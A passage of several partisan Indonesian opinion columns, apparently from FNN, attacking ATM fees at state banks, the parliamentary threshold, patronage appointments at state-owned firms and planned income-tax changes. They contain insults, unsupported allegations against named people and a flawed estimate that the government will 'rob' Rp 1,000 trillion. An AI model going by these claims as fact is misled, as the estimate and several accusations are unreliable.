melakukan cek saldo 10 kali maka duit akan tersedot 25.000. Demikian juga jika dalam sebulan nasabah melakukan tarik tunai 20 kali, maka dalam sebulan 100.000. Ini jelas telah menciptakan beban baru bagi semua nasabah di tengah pandemi Covid-19. Di samping biaya cek saldo dan tarik tunai masih ada pungutan lain atas nama biaya admin saat melakukan transaksi seperti, bayar listrik 3500, bayar air 3500, bayar gas 3500, bayar telefon/internet 3500, cicilan rumah 3500, cicilan motor 3500, dan cicilan lainnya. Biaya ini tidak termasuk biaya admin bulanan sebesar 12.000. Jika nasabah melakuan transaksi di mall sebanyak 4 kali sebulan maka biaya bank mencapai 14.000. Jika nasabah berbelanja di Alfamart atau Indomaret sebanyak 10 kali sebulan, maka duit yang tersedot mencapai 35.000. Belum lagi besarnya biaya transfer lintas bank pelat merah ke bank swasta atau sebaliknya. Jadi, bisa dihitung berapa uang masyarakat yang disedot bank tiap bulan. Praktek Bank Ngepet oleh bank milik negara mendapatkan penolakan dari berbagai pihak. Yayasan Lembaga Konsumen Indonesia (YLKI) mengkritik keras adanya rencana perubahan biaya layanan transaksi di ATM bank BUMN. Ketua YLKI Tulus Abadi meminta penerapan biaya administrasi ini harus segera ditolak. Para konsumen dijadikan 'sapi perah' atau sumber pendapatan di tengah kondisi sulit pandemi Covid-19. Tidak elok dan tidak kreatif menjadikan biaya admin Bank termasuk cek saldo sebagai sumber pendapatan. Ini tidak pantas. Penolakan juga datang dari Institute for Development of Economics and Finance (Indef). Indef meminta agar Himbara lebih kreatif cari pendapatan berbasis fee, jangan hanya bermain di layanan ATM. Seharusnya tidak perlu memberikan beban tambahan ke nasabahnya dalam bertransaksi di ATM Link. Ia menyebut, arah pengembangan sistem pembayaran ke depan, khususnya perbankan dituntut untuk memberikan efisiensi, sehingga biaya bisa ditekan dan ujungnya nasabah diuntungkan. Anggota Komisi XI DPR Kamrussamad menilai keputusan bank Himbara menarik biaya cek saldo, dan tarik tunai bagi nasabahnya akan memberikan dampak ekonomi biaya tinggi dan beban baru bagi nasabah. Tampaknya petinggi bank milik negara tak mau kalah dengan Adam Ibrahim si perekayasa Babi Ngepet dan tukang parkir liar yang memungut parkiran di setiap gerai ATM. Aneh, duit-duit sendiri, saat diambil harus membayar kepada orang yang berodal sempritan. Jika seseorang cuma punya sisa uang di 150 ribu, lalu dia cek saldo di ATM, maka ia akan terkena biaya cek saldo. Uangnya tidak bisa diambil lantaran berada di batas minimal syarat bank tersebut. Kelak, uang itu akan dilahap habis oleh bank setiap bulan dengan dalih biaya administrasi bulanan. Ekonomi kreatif bukan memungut dan memeras uang rakyat. Ciptakan pekerjaan baru, beri rangsangan positif dan fasilitas lain yang mempermudah UMKM tumbuh berkembang. Sangat ironis. Pengusaha besar banyak diberi kemudahan fasilitas seperti tax holiday. Pengemplang pajak juga diberi ampunan dengan tax amnesty. Sementara rakyat kecil terus dipantau kepemilikannya, diintip tabungannya dan disedot hartanya. Ada saja ide untuk memeras duit rakyat mulai dari cek saldo, kotak amal musholla, hingga penarikan zakat. Belum lagi pajak penjualan, pajak penghasilan, dan pajak sabun mandi serta pajak pembelian alat-alat rumah tangga lainnya. Tak ada celah bagi masyarakat untuk menghindari auto-sedot ala Babi Ngepet. Semoga kebijakan ini tak hanya ditunda tetapi dibatalkan selamanya. (sws)

Ingat, Mereka Mau Hapus Pancasila

by Asyari Usman Medan, FNN - Alhamdulillah, hari ini kita masih punya Pancasila yang dimaksudkan untuk menjaga NKRI. Juga menjaga spirit keberagamaan dan keberagaman bangsa. Tapi, harap diingat, banyak yang akhir-akhir ini tidak suka Pancasila. Mereka merasa tak cocok dengan Pancasila. Di antara yang tak suka dan tak cocok dengan Pancasila, ada yang sangat serius. Dan cukup kuat. Mereka telah dengan terang-terangan mencoba untuk mengganti Pancasila dengan Trisila dan kemudian mau mereka jadikan Ekasila alias “gotong royong”. Tapi, gagal total sejauh ini. Siapakah mereka? Mereka itu adalah kekuatan politik besar. Motifnya? Mereka tak suka dengan sila pertama yakni Ketuhanan Yang Maha Esa. Mereka menggagas ketuhanan yang berkebudayaan. Elaborasinya? Tentu bisa Anda cerna. Misalnya, konsep Ketuhanan Yang Maha Esa itu adalah Tauhid Islam. Terus? Silakan bahas sendiri saja. Tapi, apakah kekuatan politik besar itu masih akan mencoba untuk mengganti Pancasila? Jawabannya: apakah ideologi bisa sirna begitu saja? Tidak akan. Mengubah strategi, iya. Mereka akan diam untuk sementara. Sambil melakukan berbagai langkah sosial dan politik yang bertujuan agar publik tidak merasa perlu sila Ketuhanan Yang Maha Esa dan penerapannya. Kita syukuri dan kita pertahankan Pancasila yang berintikan Tauhid itu. Selamat Hari Pancasila, 1 Juni. Waspadai mereka yang ingin menghapuskan dasar negara ini. Penulis Wartawan Senior FNN.co.id

Partai Baru: Popularitas dan Elektabilitas Partai Gelora Tertinggi

Jakarta, FNN - Tingkat pengenalan atau popularitas, dan elektabilitas Partai Gelora besutan politisi Anis Matta tertinggi di antara partai-partai baru. Disusul oleh Partai Umat, Partai Masyumi Reborn, dan urutan paling buncit adalah Partai Hijau. Data tersebut disampaikan oleh Project Manager Rekode Research Center (RRC) Lisdiana Putri pada pemaparan Survey Nasional dengan tajuk “Peluang Partai Baru Mewarnai Politik Indonesia 2024,” di Jakarta, Selasa 1 Juni 2021. Survei dilaksanakan dari tanggal 26 April sampai 8 Mei 2021 dengan sampel 1.210 responden, tersebar di 34 provinsi. Usia minimum sampel 17 tahun, atau sudah memenuhi syarat sebagai pemilih. Margin error 2,9 persen dengan tingkat kepercayaan 95%. Dari total 1.210 responden ada sebanyak 190 responden atau 15,7% menyatakan belum/tidak memilih partai-partai yang ada. Dari total responden yang belum/tidak memilih tersebut mereka menyatakan tahu Partai Gelora (32,1%), Partai Umat (30.0%), Partai Masyumi Reborn (30.0%) dan Partai Hijau (9.5%). Sementara yang tertarik memilih Partai Gelora (14.2%), Partai Umat (10.5%), Partai Masyumi Reborn (10.0%), dan Partai Hijau (9.5%). “Data survei tersebut menunjukkan partai-partai baru punya peluang untuk tampil. Angka Undiceded Voters masih cukup besar,” ujar Lisdiana Putri. Tinggal bagaimana partai membangun infrastruktur, dan mesin partai bekerja meningkatkan popularitas dan meyakinkan publik. End

Parlementary Treshold Itu Konstitusionalisme Bar-bar & Abal-abal

by Dr. Margarito Kamis SH. M.Hum Makassar FNN - Kehidupan berbangsa dan bernegara, tidak selalu digerakan oleh kaidah-kaidah konstitusi. Sistem partai misalnya digerakan berdasarkan kalkulasi-kalkulasi praktis politisi. Indonesia bukan hanya tak terkecuali, tetapi menampilkan sesuatu yang, untuk beberapa alasan sama, dan cenderung bar-bar. Bahkan sangat abal-abal dan kampungan. Entah disebabkan oleh kegagalan mengenal esensi republic. Namun di dalamnya gagal dalam mengenal hak sebagai esensi republic. Parlementary threshold dilembagakan sebagai cara menyederhanakan partai politik. Cara ini, memiliki watak hantu. Bukan saja menghambat, tetapi malah cara ini telah menghancurkan esensi republik. Konyol Sekonyol-Konyolnya ​Politisi kacangan berdansa dengan ketidaktahuan dan kedunguan tentang hak dan esensinya dalam korelasi fungsionalnya dengan kerinduan orang menciptakan republik. Ketidaktahuan politisi tolol dan dongo yang tipikalnya adalah banyak bicara, selalu terangsang memukul lawan. Prilaku yang hanya demi menggelorakan kepentingan kelompoknya sendiri. ​Tidak perduli dengan adanya soal kebangsaan. Sama sekali tidak. Yang terlintas di kepalanya hanyalah kepentingan mereka sendiri. Interaksi antar partai yang tercipta berputar pada kesamaan kepentingan praktis semata. Dengan perhitungan untung-rugi buat mereka. Hanya sebatas itu. Tidak lebih. Prilaku ini sebagai akibat dari kedangkalan pengetahuan mereka mengenai politik, sistem politik dan sistem partai politik. Sialnya lagi, tabiat buruk ini tidak bakal menghambat mereka untuk memasuki arena pengambilan keputusan yang berdampak besar, dan fundamental untuk kehidupan berbangsa dan bernegara. Konyol dan bebal. Kebodohan dan ketololan politisi yang tak terlihat itu, ternyata tidak menghambat mereka terjun ke dalam pengambilan keputusan. Dalam kasus Indonesia, hal ini telah mengakibatkan sistem politik Indonesia terdekorasi sepenuhnya menjadi bar-bar, primitif dan kampungan. Tipikal sistem politik yang bar-bar dan abal-abal itu tersaji pada kenyataan partai-partai politik yang memperoleh suara. Yang bila dikonversi ke kursi di DPR hanya menghasilkan 5 atau 10 (lima atau sepuluh) kursi, bahkan 15 (lima belas) kursi di DPR. Mereka disingkirkan ole parlementary threshold. Mereka terlempar dari pembentukan pemerintahan, juga pembuatan keputusan politik. Pembaca FNN yang budiman. Parlementary threshold disodorkan sebagai cara untuk mencapai dua hal sekaligus. Pertama, mencegah Indonesia terdekorasi dengan rimba raya partai politik. Kedua, sistem pemerintahan presidensial dapat bekerja efektif. Ini dalih yang pada semua aspeknya terlihat sangat bodoh, tolol, picisan dan konyol. Dua argumen yang mengada-ada itu, sejauh ini didendangkan dengan manis oleh politisi-politisi picisan, kampungan tak kompeten. Sialnya kini telah terkonsolidasi ke dalam sistem. Padahal dua argumen itu, untuk alasan apapun, merusak. Bar-bar, abal-abal dan primitif karena sejumlah alasan. Pertama, pemilihan umum mana di dunia ini yang diikuti oleh kerbau dan kambing? Sejak kapan kerbau dan kambing menjadi citizen, atau warga negara? Kapan kerbau dan kambing itu menyandang hak, yang dengannya kerbau-kerbau dan kambing-kambing itu membentuk dan membubarkan pemerintahan? Jelas tidak ada. Yang ada adalah pemilu diikuti oleh manusia. Pemilu diikuti orang yang menyandang status warga negara dengan kualifikasi usia tertentu atau atribut civilian lainnya yang sah. Apa yang mau dikatakan dengan pernyataan pemilu tidak diikuti oleh kerbau dan kambing? Yang mau dikatakan dengan itu adalah tidak ada pemilu yang tidak berbasis elektoral. Konsep elektoral tidak pernah memiliki substansi lain apapun itu, selain “suara pemilih.” Politisi buta alam, yang selalu terbakar kepentingan bar-bar dan abal-abal, untuk alasan kebangsaan, hemat saya harus dituntut untuk mengerti dan memahami hakikat suara pemilih. Kelompok politisi jenis rendahan ini, harus diberitahu bahwa hakikat “suara pemilih” adalah pantulan murni dari harkat dan martabat mereka sebagai manusia merdeka. Suara pemilih merupakan cerminan kehendak dan kemauan sadar, yang mengalir dari kenyataan mereka sebagai mahluk manusia merdeka. Sebagai cermin harkat dan martabat, suara pemilih adalah cara pemilih menyatakan kehddaknya melalui orang-orang yang dipercaya mengurus kehidupannya kini, esok dan sesudahnya. Itu cara adil setiap orang merdeka memastikan pembentukan republik memang didedikasikan untuk kehidupan, yang selaras dengan harkat dan martabat mereka. Itu sebab yang layak dijadikan pijakan menertawakan parlementary threshold. Praktis parlementary threshold tidak lain merupakan cara minoritas konyol menyingkirkan dan menciptakan minoritas politik. Sungguh bar-bar. Tidak Adil, Harus Ditiadakan ​Terlalu bodoh berdansa dengan parlementary threshold, termasuk dengan nada-nada penyederhanaan parpol. Bodoh juga berdansa dengannya, dengan menggunakan nada demi memudahkan pengambilan keputusan. Semua nada itu, semanis apapun komposisinya, tidak bakal mampu untuk menghilangkan “ketidakadilan” yan melekat dalam konsep parlenmentary treshold itu. ​Ratusan ribu pemilih telah memilih seseorang, tetapi mereka harus terkapar, tersingkir hanya karena partai politik mereka tidak mecapai level parlementary threshold. Itu ketidakadilan, apapun alasannya. Polarisasi idiologi, dalam kasus Indonesia, andai mau disodorkan sebagai justifikasi atas kebijakan parlementary threshold itu, hemat saya sangat bar-bar, abal-abal, dungu dan dongo. ​Indonesia mutakhir memperlihatkan dengan sangat jelas betapa polarisasi idiologis yang dikahawatirkan itu, tidak lebih dari khayalan belaka. Tidak ada idiologi yang cukup jelas terlihat dalam kehidupan politik partai. Apalagi untuk partai yang bekerja pada pembentukan dan pengambilan keputusan, sejauh ini. Praktis tidak ada partai politik Indonesia sejauh ini, yang nyata-nyata bergerak dengan panduan idiologis mereka. Partai-partai yang menarik garis sejauh mungkin dari pemerintah, atau mereka tidak ikut dalam pemerintahan, tidak pernah dapat menyajikan eksistensinya sebagai penantang produktif. Tidak ada gagasan alternatif, yang jangankan membuat pemerintah terkapar, melirik pun tidak, yang disajikan partai-partai berada diluar gabungan partai pemerintah. PKS dan Partai Demokrat, sejauh ini, tidak terlihat sebagai dua partai yang datang dan keluar dengan gagasan oposisional. Apalagi menantang secara produktif keputusan-keputusan pemerintah. Relasi antar partai yang terlihat oposisional, dalam kenyataannya tidak memberi efek apapun. Jadi untuk apa bicara sistem politik, yang tidak lain adalah sistem partai politik? Toh sejauh ini tidak ada partai yang saling bersaing dalam gagasan-gagasan alternatif yang mengoreksi gagasan-gagasan pemerintah. Koor oke dengan kembang-kembang khas politisi, telah terukir nyata dalam politik mutakhir sebagai tipikal partai politik dalam kehidupan bernegara. Ukuran dan kekuatan, sesuatu yang biasanya sangat diperhitungkan dalam membicarakan partai, kini terlihat kehilangan relefansinya. Toh semuanya sama. Tetapi bukan soal itu yang mengakibatkan munculnya kebutuhan untuk menyingkirkan parlementary threshold yang konyol dan tolol itu. Bukan. Soalnya adalah bangsa ini tertipu, karena ketidakadilan itu dibuat seolah adil. Dengan argumen bahwa hanya itu cara yang tersedia dalam mencegah tumbuhnya multi partai di satu sisi, dan disisi lain mengefektifkan presidensial sistem. Dalam kasus Inggris misalnya, terdapat 10 (sepuluh) partai politik yang memperoleh suara satu koma dan nol koma pada pemilu 2005. Tetapi wakil-wakil partai satu koma dan nol koma itu, semuanya dikirim ke parlemen. Mau disebut sistem partai 13, karena ada tiga belas partai? Tidak juga tuh. Tetap saja disebut two party system. Inggris sangat waras dalam soal ini. Mereka mengenal hakikat suara pemilih. Mereka tahu dan apresiatif terhadap harkat dan martabat manusia. Itu menjadi sebab hilangnya alasan untuk menyangkal bahwa cara Inggris itu terhormat dalam mengisi rerpublik. ​Politisi-politisi Indonesia, untuk alasan tuntutan republik, harus mau mengambil pelajaran hebat yang disajikan Ingrgris itu. Menyingkirkan parlemntary threshold yang konyol, abal-abal bar-barbarian itu, mesti disegerakan. Parlementary threshold, apapun alasannya, tetap tidak adil. Harus ditiadakan. Penulis adalah Dosen Universitas Khiarun Ternate.

Dulu BUMN Sapi Perahan Pejabat Kini Jadi Perasan Relawan Jokowi

PEMBERITAAN tentang Badan Usaha Milik Negara (BUMN) tidak ada henti-hentinya belakangan ini. Tidak hanya kabar tentang untung dan rugi, tetapi menyangkut pengangkatan direksi dan komisaris yang syarat nepotisme. Tidak hanya pemberitaan karena banyak karyawannya dituding radikal, dan tidak Pancasilais, karena rajin beribadah, terutama karyawan Islam yang setiap solat wajib berusaha ke masjid dan berjamaah, tetapi juga pemberitaan miring lainnya. Harap maklum, masjid di sejumlah kantor BUMN sangat indah dan sejuk karena pendingin udara (AC) yang bagus. Hal itu bisa kita jumpai terutama di kantor-kantor BUMN yang ada di Jakarta, dan di beberapa daerah. Hampir dipastikan, jika solat Zuhur, solat Ashar dan solat Jum'at, masjid-masjid BUMN penuh jemaah, baik karyawan perusahaan plat merah itu, maupun dari luar. Masalah BUMN tidak pernah sepi dari pemberitaan. Menjelang bulan Ramadhan 1422 Hijriyah yang baru lewat, ada direksi PT Pelni melarang kajian Ramadhan karena penceramahnya dituding radikal. Pihak Pelindo 2 sudah membantah larangan itu tidak ada kaitan dengan isu radikal. Yang jelas, salah seorang karyawan Pelni yang menjadi pengurus pengajian menjadi korban. Sedangkan yang mengeluarkan larangan aman, karena pendukung Joko Widodo atau Jokowi. Nah, masih berita menarik lainnya. Komisaris Independen PT Waskita Karya (Persero) Tbk berisial M dituding telah menelantarkan anak dari hasil pernikahan siri. Belakangan, komisaris berinisial M itu adalah Profesor Muradi. Namun, kasusnya hilang bak ditelan bumi. Pengacaranya membantah tuduhan yang dialamatkan kepada profesor yang juga guru besar Fakultas Ilmu Sosial dan Ilmu Politik Universitas Padjadjaran (Fisip Unpad), Bandung. Kasusnya tenggelam. Sang profesor tetap aman jadi konisaris independen karena pendukung Jokowi. Belakangan, berita miring tentang BUMN ramai lagi. Hal itu tidak lain karena pengangkatan Abdi Negara Nurdin alias Abdee 'Slank' menjadi Komisaris PT Telkom (Persero) Tbk. Pengangkatannya disorot karena sebagai musisi tidak memiliki kelayakan dan kapabilitas menjadi komisaris emiten berkode TLKM itu. Akan tetapi, dibalik kritik dan bahkan hujatan terhadap pengangkatannya itu, masyarakat maklum, ia diangkat karena pendukung Jokowi. Pokoknya, kalau mau menjadi direksi dan komisaris BUMN harus menjadi pendukung Jokowi. Direksi dan komisaris BUMN yang benar-benar independen sudah tergerus oleh pendatang baru yang lebih layak di mata pemerintah, yaitu relawan dan pendukung Jokowi. Bahkan, beberapa orang BuzzerRp alias pembela atau pendengung Jokowi juga ada yang masuk menjadi komisaris dan direksi BUMN. Tidak heran juga meme olok-olokan dialamatkan kepada BuzzerRp Deny Siregar, Abu Janda, Dewi Tanjung, dan lainnya tentang jatah menjadi komisaris atau direksi BUMN. Dalam foto yang beredar, para BuzzerRp itu digambarkan sebagai sosok yang sedang antre menunggu panggilan dan pengangkatan menjadi petinggi di sejumlah perusahaan negara yang masih lowong/kosong. Sangat disayangkan, komisaris dan direksi BUMN diisi oleh orang yang hanya menjadi pendukung, relawan Jokowi, dan Buzzer Rp. Pengangkatan itu sangat jauh lebih buruk jika dibandingkan di masa Orde Baru. Sejatinya, reformasi yang digulirkan juga harus melepaskan BUMN dari tangan-tangan jahil para relawan, pendukung dan BuzzerRp. Oleh karena itu, menarik dikutip pernyataan politikus PDI-P, Adian Napitupulu yang menyebutkan, 6.200 direksi dan komisaris di BUMN merupakan orang-orang titipan. Dia menyebutkan titipan karena melihat selama ini proses rekrutmen terkesan tertutup. Artinya, angka 6.200 itu mencakup seluruh BUMN. Titipan yang dimaksud termasuk relawan.dan pendukung Jokowi. Termasuk BuzzerRp. Kita tidak tahu berapa persen dari 6.200 itu yang berasal dari pendukung Jokowi secara terang-terangan atau samar-samar. Sulit juga dihitung berapa yang berasal dari relawan Jokowi. Akan tetapi, sederet nama sudah muncul di media massa. "Titipan-titipan itu konsekuensi dari tidak adanya sistem rekrutmen yang transparan?,” ujar Adian kepada Kompas.com, Sabtu (25/7/2020). Proses rekrutmen yang transparan sangat penting dilakukan untuk jabatan direksi dan komisaris di perusahaan pelat merah itu. Sebab, gaji yang dikeluarkan untuk dua jabatan tersebut berasal dari perusahaan milik negara. “Lucu dan aneh bagi saya kalau Negara mengeluarkan Rp 3,7 triliun setiap tahun untuk 6.200 orang yang rakyat tidak tahu bagaimana cara rekrutmennya dan dari mana asal usulnya,” kata Adian. Betul apa yang dikatakan Adian itu. Tidak hanya lucu dan aneh, tetapi juga.membingungkan rakyat. Apalagi, uang yang mereka terima Rp 3,7 triliun (angka 2020). Bisa jadi sekarang angkanya mendekati Rp 4 triliun. Angka itu baru berupa gaji, tunjangan, dan tantiem. Nah, jika ditambah dengan biaya perjalanan dinas, tentu angkanya sulit diperoleh. Belum.lagi fasilitas lain, termasuk mobil mewah. Nah, karena angka gaji dan tantiem serta fasilitas lain yang diperoleh sangat fantastis dan menggiurkan, maka para relawan, pendukung Jokowi berlomba-lomba mengajukan lamaran. Prosesnya pengangkatannya cepat, dan tidak transparan. Tiba-tiba saja si A, si B, si C dan seterusnya diumumkan menjadi anggota direksi dan komisaris PT. Nganu. Ya, beginilah BUMN di negara Pancasila tercinta ini. Bagi yang ingin mendapatkan kursi, silahkan merapat. Dengan catatan, relawan dan pendukung Jokowi. Aji mumpung saja. BUMN sekarang sudah berubah jargon. Jika sebelumnya, terutama di masa Orba BUMN itu menjadi sapi perahan pejabat, sekarang berubah menjadi tempat pemerasan relawan Jokowi. **

Early Warning Bencana Ideologi

By Prof Daniel Mohammad Rosyid Solo, FNN - Pada saat ummat manusia disibukkan oleh berbagai bencana akibat perubahan iklim dan pemanasan global serta kebangkrutan ekonomi akibat pandemisasi covid-19, Republik ini menghadapi bencana ideologi atas Pancasila melalui berbagai malpraktek administrasi publik. Ancaman terakhir itu terjadi segera setelah serangkaian amandemen ugal-ugalan atas UUD1945 menjadi konstitusi palsu UUD2002. Kepalsuan ini membuka jalan bagi konstruksi hukum dan tafsirnya yang mengabdi bagi kepentingan elite, bukan kepentingan publik. Bencana ideologi ini disusupkan melalui perombakan atas rancangan dasar batang tubuh UUD1945 yang semula berdasarkan Pancasila, menjadi rancangan sekuler liberal kapitalistik. Setelah dipaksa mengikuti aturan keuangan ribawi IMF sejak 1949, berbagai UU yang muncul kemudian sejak reformasi menyediakan semua peluang bagi agenda nekolimik. Ini adalah agenda kaum sekuler radikal segera setelah Soeharto dijatuhkan saat sedang bermesraan dengan kelompok Islam. Situasi ini tidak dikehendaki oleh kaum sekuler nasionalis garis keras yang sebelumnya menjadi tulang punggung Orde Baru dukungan AS, sekaligus tidak dikehendaki oleh kaum sekuler kiri radikal yang sabar menunggu kesempatan come back sejak kegagalannya di akhir Orde Lama. Kesempatan come back ini makin terbuka sejak 5 tahun terakhir ini bersamaan dengan AS yang makin inward looking di bawah Trump dan kebangkitan China sebagai raksasa ekonomi global baru mengisi kekosongan kepemimpinan global yg ditinggal AS. Pada saat China memantapkan diri sebagai manufacturer of the world, maka sejak 10 tahun terakhir lebih, industri nasional di berbagai kawasan-kawasan industri praktis telah menjadi satelit industri China. Industri nasional hanya sekedar memberi merek lokal sementara produksinya tetap di China. Sejak peluncuran inisiatif One Belt One Road, China mendeklarasikan ambisinya sebagai negara adidaya baru. Bersamaan dengan OBOR itu, gelombang investasi China masuk ke Indonesia melalui skema turn key projects di sektor mineral, energi dan batu bara serta infrastruktur seperti jalan tol, pembangkit listrik, kereta api cepat, pelabuhan dan bandara. Investasi China ini diikuti oleh impor peralatan dan bahan baku China, serta gelombang tenaga kerja asal China dari jenjang direksi, manajer, supervisor hingga tenaga kerja kasar. Kesempatan kerja bagi tenaga kerja lokal tidak terlalu berarti. Dampak lokal dan nasional investasi China ini hanya pada pendapatan pajak dan retribusi bagi Pemerintah, namun dampak ekonomi lokalnya sangat terbatas, sementara dampak lingkungannya serius. Berbagai kawasan investasi China itu kini berkembang menjadi kantong-kantong tertutup dan eksklusif yang beroperasi layaknya negara dalam negara. Saat gelombang kedatangan TKA China berlangsung hampir tanpa jeda lewat bandara dan pelabuhan di seluruh Indonesia, bahkan selama pandemi covid-19 ini, maka perkembangan ini perlu diwaspadai sebagai ancaman atas kedaulatan Republik. Kaum sekuler kiri radikal menunggangi kebangkitan China sebagai adidaya baru dan pandemisasi Covid-19 untuk mengambil keuntungan politik : menyusupkan ideologi kiri radikal pada berbagai UU sekaligus menyudutkan Islam melalui berbagai semburan islamophobik. Pada saat oposisi di DPR melemah, DPD nyaris tak terdengar suaranya, kontrol media nyaris tidak ada, dan kampus diam seribu bahasa, sikap otoriter anti-kritik makin menonjol akhir-akhir ini, bahkan kriminalisasi ulama. Republik ini sedang tergelincir ke totaliterianism ala imperium Romawi di bawah Nero. Kaum muslim sebagai pewaris amanah ulama negarawan pendiri Republik ini tidak mungkin membiarkan ancaman bencana ideologi yang menggerogoti Pancasila dan Republik ini terjadi di depan matanya. Muslim, terutama muslim muda, bersama komponen patriot bangsa lainnya harus segera bangkit menyiapkan diri secara fisik dan mental untuk bergerak mencegah bencana ideologi ini. Mereka harus menjadi generasi petarung, bukan generasi sarung.

Pemerintah Merampok Rp 1000 Trilyun dari Kantong Rakyat

by M. Juhri Jakarta, FNN - Janji Presiden Jokowi tentang uang Rp 11.000 Triliun di kantongnya, tak pernah bisa direalisasikan sampai hari ini. Yang terjadi justru Rp 1.000 trilyun yang sudah ada di kantong rakyat bakal dirampok oleh pemerintah. Dari dokumen Kerangka Ekonomi Makro Kebijakan Fiskal (KEM PPKF) 2022, pemerintah berencana menambah lapisan (layer) penghasilan kena pajak (PKP) sebagai basis pungutan Pajak Penghasilan (PPh) orang pribadi (OP). Dokumen ini menyiratkan, bahwa tarif PPh orang pribadi sesuai Pasal 17 Undang-Undang (UU) Nomor 36 Tahun 2008 tentang Pajak Penghasilan. Penghasilan kena pajak terbagi menjadi empat, yaitu; Pertama, penghasilan kena pajak sampai dengan Rp50 juta dalam satu tahun, PPh 5%. Kedua, penghasilan antara Rp50 juta - Rp250 juta, dikenakan pajak sebesar 15%. Ketiga, penghasilan di atas Rp250 juta - Rp500 juta, 25%. Keempat, penghasilan di atas Rp500 juta, dikenakan pajak 30%. Sesuai Pasal 17 ayat (1) huruf a UU PPh No. 36/2008, tarif PPh Orang Pribadi Pasal 21 adalah menggunakan tarif progresif, yang akan dikalikan dengan Penghasilan Kena Pajak. Kabarnya, pemerintah akan menambah kelompok PPh baru sebesar 35%, kemungkinan mengikuti pola UU Pajak Penghasilan ini akan dikenakan kepada OP berpenghasilan Rp 1 milyar. Penghasilan di atas Rp 1 milyar yang jelas transparan diterima pejabat perusahaan BUMN. Pejabat struktural lain, meskipun penghasilannya di atas Rp 1 milyar lolos dari layer baru ini, karena pendapatan yang dibawa pulang ke rumah tercatat di atas kertas tidak sampai Rp 1 milyar. Namun, isunya penambahan layer 35% itu gimmick seolah pemerintah “berani” kepada orang kaya. Padahal isu yang menguat adalah kemungkinan penghapusan PTKP (Penghasilan Tidak Kena Pajak) yang hanya berdasarkan Peraturan Menteri Keuangan (PMK) dan mengembalikan tarif pajak penghasilan kepada UU No.36 Tahun 2008 tentang Pajak Penghasilan. Dalam Peraturan Menteri Keuangan (PMK) RI No. 101/PMK.010/2016 tentang Penyesuaian PTKP, dijelaskan jumlah PTKP untuk WP Orang Pribadi (WP OP) adalah Rp54.000.000 setahun atau Rp Rp4.500.000 per bulan. Agar lebih mudah, sesuai PMK No.101/PMK.010/2016, maka penghasilan dengan syarat berikut tidak kena pajak (PPh 0%); lajang penghasilan Rp54 juta, lajang 1 tanggungan Rp 58,5 juta (=kawin tanpa tanggungan), lajang 2 tanggungan Rp63 juta. (=kawin 1 tanggungan), kawin 2 tanggungan Rp67,5, kawin 3 tanggungan Rp72 juta. Penghasilan gabungan (istri dan suami) tanpa tanggungan Rp112,5 juta, penghasilan gabungan 1 tanggungan Rp117 juta, 2 tanggungan Rp121,5 juta dan 3 tanggungan Rp126 juta. Bila benar ada penghapusan PTKP dengan mengembalikan kepada UU Pajak Penghasilan dan hanya gimmick adanya pph sebesar 35%, maka diperkirakan pemerintah akan mengambil kembali uang dari kantong rakyat hingga Rp 1.000 trilyun. Perhitungan ini, berdasar angka pendapatan per kapita terbaru menurut BPS, bahwa pendapatan rata-rata per kepala penduduk Indonesia sebesar Rp56,9 juta (turun dari Rp59,1 di tahun 2018). Sedangkan per Januari 2021 jumlah penduduk Indonesia tercatat 271.349.889 jiwa. Dengan perhitungan kasar, anggaplah pendapatan rata-rata per kapita sebesar Rp60 juta per tahun, maka akibat dicabutnya PTKP, PPh progresif menjadi sbb; 50 juta pertama sebesar 5% atau Rp2,5 juta. Sisanya Rp10 juta dikenakan PPh 15% yaitu sebesar Rp 1,5 juta atau total pph per kepala per tahun sebesar Rp4 juta. Sehingga, diperkirakan penerimaan negara 2022 dari penghapusan PTKP ada tambahan sebesar Rp4 juta x 270 juta penduduk atau total sekira Rp1.080 trilyun. Artinya, cukup mengutak-atik PTKP ini, Menkeu Sri Mulyani sudah memiliki pos setoran baru sebagai tambahan untuk menutup defisit APBN yang hampir mencapai Rp 1.200 trilyun (APBN 2021). Apalagi, sekadar menghapus PTKP proses penarikan pajaknya pun tidak terlalu sulit, karena tinggal potong gaji ASN maupun buruh swasta, setiap bulan setoran Rp 333.335 per orang atau sekira Rp90 trilyun tambahan dari PPh sudah masuk ke kas negara. Sementara, dana APBN yang sudah-sudah sangat leluasa digarong! Penulis Wartawan Senior FNN.co.id.

Di Tengah Gempuran Buzzer, Kini Anies Tak Terbendung

Oleh: Abdurrahman Syebubakar Jakarta, FNN - Sejak Anies Baswedan terjun ke perpolitikan Jakarta melalui kontestasi pilgub DKI pada 2017, sebagian warga yang dipengaruhi buzzer bayaran dan sektarian, membentuk barisan yang tugasnya merundung dan memfitnah Anies. Anies, yang karena mendapat dukungan sebagian kalangan Islam politik selama kampanye, dituduh menunggangi politik identitas. Padahal, Anies juga mendatangi komunitas-komunitas non-muslim meminta dukungan. Dan ketika memenangkan pertarungan secara dramatis melawan Ahok yang main politik uang atas dukungan para taipan, Anies menjadi musuh besar mereka sampai hari ini. Hasil analisis data elektoral pilgub DKI 2017 oleh Syebubakar (2021) mengungkap bahwa sentimen politik identitas bukan faktor penentu kemenangan Anies. Lebih karena terkuaknya kebobrokan cagub petahana Ahok selama memimpin ibukota dan kecurangannya dalam pilgub. Puncaknya, ketika tim Ahok tertangkap basah menebar paket sembako secara masif – bertruk truk di masa tenang, menjelang pencoblosan. Akibatnya, mayoritas swing-voters dan undecided-voters serta sebagian pemilih non-sosiologis Ahok, dengan pertimbangan rasional, menjatuhkan pilihan pada Anies. Sementara, elektabilitas kedua pasangan cagub, sebelum pencoblosan, tidak terpaut jauh, dengan selisih elektabilitas masih dalam rentang margin of errors. Dengan kata lain, mereka dalam posisi seimbang. Fakta elektoral juga menunjukkan mayoritas mutlak kalangan non-muslim menjatuhkan pilihan pada Ahok. Sementara pemilih muslim terbagi dua secara merata, untuk Ahok dan Anies. Yang mengejutkan, bukan hanya warga Jakarta yang terlibat kubu-kubuan secara emosional, tapi juga warga di luar Jakarta. Tak heran, orang menyebut kontestasi Anies-Ahok sebagai pilgub rasa pilpres. Terlebih, Ahok menjadi pertaruhan hidup mati para taipan dan rezim Jokowi, menyangkut mega proyek reklamasi teluk Jakarta. Kompetisi Anies melawan Ahok berlangsung di tengah prahara penistaan agama yang dituduhkan kepada Ahok. Kendati Anies netral, kelompok anti demokrasi (hiper-nasionalisme, pluralisme represif, dan Islam-fobia, dengan perlindungan rezim Jokowi dan oligarki) menganggap Anies mengambil keuntungan dari insiden ini. Saking emosinya, mereka tak segan memfitnahnya sebagai pendukung khilafah dan “Islam 